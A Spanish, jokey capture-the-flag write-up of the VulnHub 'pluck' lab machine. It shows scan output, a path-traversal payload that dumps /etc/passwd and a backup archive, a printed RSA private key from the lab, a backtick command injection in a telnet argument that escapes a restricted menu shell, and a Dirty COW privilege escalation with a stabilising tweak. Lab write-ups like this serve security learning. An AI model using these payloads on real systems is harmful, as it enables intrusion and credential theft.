Buenas, me presento soy C4rp1o, el proveedor oficial de medicamentos y exploits terapeúticos del Dr. zauis,en ocasiones aprovechare mis visitas al Dr. para contaros algunas de nuestras sesiones de terapia.

Hoy os traigo una de las ultimas Vms, de nuestra querida Vulnhub.com (Dadles pasta son grandes), os traigo pluck.

 

Lo primero que vemos cuando la escaneamos es:

root@iPhone:~# nmap -p 1-65535 -sV 192.168.1.57

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-14 19:19 CET
Nmap scan report for 192.168.1.57
Host is up (0.00028s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
5355/tcp open  llmnr?
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Como dicen el tercer mandamiento del scriptkiddie cuando veas un puerto 80 saca nikto a ver que tienta! adicionalmente para hacernos una idea de la pagina tiramos un par de diccionarios de nuestra amada Seclist para intentar descubrir archivos y directorios interesantes... esto es lo que obtenemos:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.57
+ Target Hostname:    192.168.1.57
+ Target Port:        80
+ Start Time:         2017-03-14 19:20:19 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.0.1/images/".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: /admin.php: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-14 19:20:33 (GMT1) (14 seconds)
---------------------------------------------------------------------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Tue Mar 14 19:21:37 2017
URL_BASE: http://192.168.1.57/
WORDLIST_FILES: /root/Tools/SecLists/Discovery/Web_Content/raft-large-directories.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 62248                                                        

---- Scanning URL: http://192.168.1.57/ ----
==> DIRECTORY: http://192.168.1.57/images/                                                                                                          
==> DIRECTORY: http://192.168.1.57/js/                                                                                                              
==> DIRECTORY: http://192.168.1.57/css/                                                                                                             
==> DIRECTORY: http://192.168.1.57/fonts/                                                                                                           
+ http://192.168.1.57/server-status (CODE:403|SIZE:300)                                                                                             
+ http://192.168.1.57/  1 (CODE:200|SIZE:2309) 
------------------------------------------------------------------------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Tue Mar 14 19:23:50 2017
URL_BASE: http://192.168.1.57/
WORDLIST_FILES: /root/Tools/SecLists/Discovery/Web_Content/raft-large-files.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 37024                                                        

---- Scanning URL: http://192.168.1.57/ ----
+ http://192.168.1.57/index.php (CODE:200|SIZE:2309)                                                                                                
+ http://192.168.1.57/admin.php (CODE:200|SIZE:2721)                                                                                                
+ http://192.168.1.57/contact.php (CODE:200|SIZE:1081)                                                                                              
+ http://192.168.1.57/footer.php (CODE:200|SIZE:241)                                                                                                
+ http://192.168.1.57/header.php (CODE:200|SIZE:1569)                                                                                               
+ http://192.168.1.57/. (CODE:200|SIZE:2309)                                                                                                        
+ http://192.168.1.57/about.php (CODE:200|SIZE:16645)                                                                                               
+ http://192.168.1.57/.php (CODE:403|SIZE:291)                                                                                                      
+ http://192.168.1.57/wp-forum.phps (CODE:403|SIZE:300)                                                                                             
                                                                                                                                                    
-----------------

Vemos que existe un login ¿sera nuestra puerta de entrada...? vamos a darle un tiento.

Invocando al niño de las comillas, Santo patrón de los SK (scriptkiddies) vemos que nuestras oraciones han sido escuchadas... un error sql... mmmmmm

Vamos a rascar un poco mas unos burpsuites y sqlmaps después... (2 o 3 horas) me cago en la puta y Zaiuss amablemente me da un zumo de cebada, tiro el ordenador contra la pared, pero gracias a las paredes acolchadas (especiales para locos) del doctor, este rebota gira 852 grados en el aire para caer desafiante frente a mi, intacto.

Recojo el guante, cambio de plan, sorbo de cerveza, pensemos... vamos a tirar un poco mas del hilo de la LFI que nos cantó nikto.

Veamos como bien sugiere nikto podemos echar un vistazo al passwd.

Esperad os lo ordeno.

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:109::/var/run/dbus:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:112:1::/var/cache/pollinate:/bin/false
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
Debian-exim:x:113:119::/var/spool/exim4:/bin/false
peter:x:1001:1001:,,,:/home/peter:/bin/bash
paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh

 

Esto nos mejora... por un lado podemos ver los usuarios que existen y que uno está rulando un script backup.sh en la ruta /usr/local/scripts/backup.sh.
Aprovechemos que podemos ver archivos gracias a la LFI, para este proceso burp y en concreto su repeater, nos viene de lujona para mostar lo que hace el script backup.sh.

----------------------------

/backups:/usr/local/scripts/backup.sh
########################
# Server Backup script #
########################

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
-----------------------------

 

Bien, bien esto me camela.. parece que el usuario backup-user hace una copia del directorio home y del directoio web y lo guarda en /backups/backup.tar. Vale agarraos los ojetes aqui es cuando viene la magia, una magia tan chunga que hizo que se me
quedase crujiente el pc en 2 o 3 ocasiones.

Vale recapitulemos queremos pillar un archivo, que es un archivo comprimido, sabemos donde esta y que contiene y queremos verlo. El archivo no es accesible desde el  navegador pero podemos usar la LFI para intentar verlo.

 

!Mas Cerveza¡ bien lanzamos crul con la siguente sintaxis

curl http://192.168.1.57/index.php?page=../../../../../../../../../../backups/backup.tar > backup.tar y guardamos el contenido en un archivo...

 

Aqui es cuando intentas abrirlo con un editor de texto y se te queda el ordenador pillado, y yo que se... para asegurarte vas y lo vuelves a intentar abir y vuelve a crujir... al final si lo pasas con strings a un txt, mas o menos con paciencia podemos ver ..... mucha mierda, muuuuuucha, alguna legible otras... mierder. De repente me atraganto! y escupo toda la cerveza en la pantalla, menos mal que mi ordenador esta envuelto en papel film.

 

RSA PRIVATE KEYS DEL USUARIO PAULLL WTF!!! en serio, en serio? averlo, pararece que hay varias las meto en los respectivos archivos y comienzo a probar acceder a través de ssh con el usuario paul y las claves.

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAw2umEDHC4Hd6pW0kMHxlmRbKAimgx/qLTybuR8SzYibD49Pu
+ByG1KckHTvkPnIePACC3SFCNyb0f9C21XxwKYFH6Zfg+uKuIrtyWABmOXJyyuUt
XjtY84btJ8cC7lSqNKLzzClpDzmOphDkWLISrs7qK65pU9qUMZ/AztK+VYWnC6y4
hQEgPZcN3skg0BNW+PfkAtzJ4q1zHF8HZr2z89m8HJV5t6gHl3nNPL1eyeanAZvh
GSDldCZcx/ZUFERVj/Q3CYaE8JL6faOAwA56M9lRbSupFTbp/07g1xbFCKNMb/Io
GTtG8sGrGZrSlNTLIV90brgRqRoxcwdOnHGeLwIDAQABAoIBAF4uZmVNpi8KRiit
9hAME+b5DbiHGX7np/YovBQIn6+BIU2O2Y/oJ68bMpOIRtM1qo6ebHNoUQJFmvZy
v3saMvA950uUMBCZ6PTCRDRXVO0A1IQmeXv9vDv53hgamLYGRdWCZ18Q4ho9UhuE
7pg0kj5/aGpO72JDaMKVzJWhCawrGrsX8ONUK4nGLjeocVcdFoC/XcGMYe0uP3BN
Y35xLvbrq79NwK5v4dRpzw+mp5r+BHtw+MHlbHXkruwM5h99CXTCKWpGlRWDEC83
55pR6nNlNZ4dG0VtgjtCu2nXk/eDJA26XDjIMR2CyzpEWRzfAulta10vOLEMUhQJ
Z2lil+kCgYEA7eDhw3qK4yffgtjgI8gsuglEHyDkCG4YVjkKpqMabbXUeT9tRsJd
4NXejMpnjwNW1eGji6ylMC5VNUmZKZck8EqNMkQV6Az4e4U9ZS/LX+5mGww2zD+9
QrlyUq/DvTx6Ytu080JWKPSEyeGCVRIQDlURgnYyRv48AFQAvvTvB5UCgYEA0k6/
7zP3uhtNvS3IK7pfOGCl5asn29dRStbsDPVuHBINou8bFclMc3oU7hIUyD+0MFT5
S+z2yhms5s8RZ/RtuU57tadYeyN8n3xZcNoQJctTMGLto0qWeEgEjoFtz7Fz3SnA
MYwv0qRtAH8LDIYVHh7mp8N6X2C9DI5eqPwJzbMCgYEA2pGLvypEnS2Q4FBXumj+
N7212whEnj5SnD7zO2OYMAAnh3Sw+pgy3BiG0URU3QILcqBNvlPWwCuCXWEPmzhm
V2eYzvviSQJJ+mzVmbjNnIqXRPj3DLrwMnPkyHb5WlJMfbM0U2O7eQwbSserEnFz
UUf2u7HQxoxpI0AMI2k4i/UCgYAFWxYOPG+RoMJhD/pqCqwEHon7CFnSgnBCjKik
R9fPBTKttJMnAeJdin1f9rvqwZyQIonawiUiznaVxi42TIZC0tnZrXJWaHfzA9Kv
Sg5hOAVdVReiMfMVCxh6nJc0U9uUhUystlo9bgyMl6+rWPrOspDDMvo51Zfa6wFE
Im8JewKBgQCF1LDyOqxRkyJhQqavaVaAGpT6a28cPv3S3cUEp+zC8YvPn9g4XfDe
6UGiNYpLE87B9Dyx69GXdozFQAZcfriwlD81NqJdEjf0mE4Plt1F2jLnruHbjXRv
S30bXrr9FOgayKJpRfYUgSghubMbdDDM6YhSm3MyYyP4FXjm7keHoQ==
-----END RSA PRIVATE KEY-----

Venga fiesta!! esto marcha... pero que cojones... esto no es un puto terminal, quiero mi terminal, amenazo con suicidarme y el doctor me da un cigarrito de la calma y me dice que observe mas tranquilo, esto es lo que veo...

Vale podemos "goler" un poco por el sistema aun que es un poco cansino y a los dos minutos empiezo a intentar quemar el pc, menos mal que el Dr. me recuerda que mi mision es escapar de la "jaula", vale !Mas cerveza¡

Despues de mirar en los viejos manuales del Dr me topo con una posible solucion... Funciona!!

telnet 127.0.0.1`ls -lsia`

y me escupe:
-----------------------------------------------------------
telnet: could not resolve telnet 127.0.0.1total 20
131075 4 drwxr-xr-x  5 root  root  4096 Jan 18 10:27 .
     2 4 drwxr-xr-x 23 root  root  4096 Jan 18 11:14 ..
153957 4 drwxr-xr-x  3 bob   bob   4096 Jan 19 13:24 bob
153993 4 drwxr-xr-x  5 paul  paul  4096 Jan 20 09:07 paul
153982 4 drwxr-xr-x  2 peter peter 4096 Jan 19 13:22 peter/telnet: Name or service not known

Press Enter to return to Pdmenu.
----------------------------------------------------------

Vale lo siguente es mandarnos una shell, para ello vamos a ver que tenemos a mano, parece que tiene php instalado así que patrocinado por el gran pentestmonkey
tiramos de la cheat sheet de reverse shell y... mas magia y mas Cerveza!

Me pongo un poco serio, es buena costumbre enumerar un poco de info antes de elegir la estrategia a segir para escalar privilegios, particularmente yo es donde creo que la metodologia es menos clara. Me gusta recopilar lo basico relativo al sistema y al contexto del usuario en el que me encuentro, esto incluye, version de la distro, version del kernel, arquitectura, sudo -l, programas instalados y servicios instalados, puertos a la escucha especialmente los que estan escuchando en la interface localhost. Una vez llegados a este punto tiramos de las cosas faciles, exploits conocidos a nivel SO kernel o aplicacion, si no identificamos nada viable con esta primera exploración, toca remangarse y empezar a buscar archivos setuideados, archivos que puedan contener información que nos permita escalar etc... etc... para mi una buena guia es pwnwiki.io

Bueno a lo que vamos. Resulta que el sistema puede ser vulnerable al famoso Dirty Cow, bueno... probemos, lo subo, lo compilo y funciona, me emociono, me abro otra cerveza... y de repente... WTF LA MAKINA SE HA QUEDADO CRUJIENTE, PERO CRUJIENTE DEL TODO pffffffffffff, otra vez a empezar, esto no es ser root

Leyendo un poco acerca de la vulnerabilidad veo que muchos usuarios reportan que el exploit desestabiliza las maquinas explotadas y una posible solucion es eliminar unas llamadas del sistema que estan siendo la causa del crash, es la siguiente y si Funciona...

Cito textualmente "It seems that turning off periodic writeback makes exploit stable.
                   echo 0 > /proc/sys/vm/dirty_writeback_centisecs"

Desde aqui, pues sacamos todas las claves, como? pues cambiandolas y poniedo la que nos salga de los webacos, muchas gracias, nos vimos! 

ALABUCHAKA! = OWNED!  (.)(.)

** Nota: Se me olvidaba deciros que el nota que ha hecho esta makina, y al que estoy muy agradecido, es un cabron over9000, ¿os acordais de la inyeccion sql y el formulario de login?, bien pues deciros que es un puto baiteo de libro, ni se autentifica ni es vulnerable a nada ni poyas, el muy cabron lo pone ahi pa tentar, bueno reitero mi cariño y respeto por el que se ha currado la makina, mis dieses :p

** Nota 2: Me ha parecido curioso el comentario del script backup.sh (#Backup directories in /backups so we can get it via tftp) porque yo no he visto ninguno pai... otro baiteo kizas?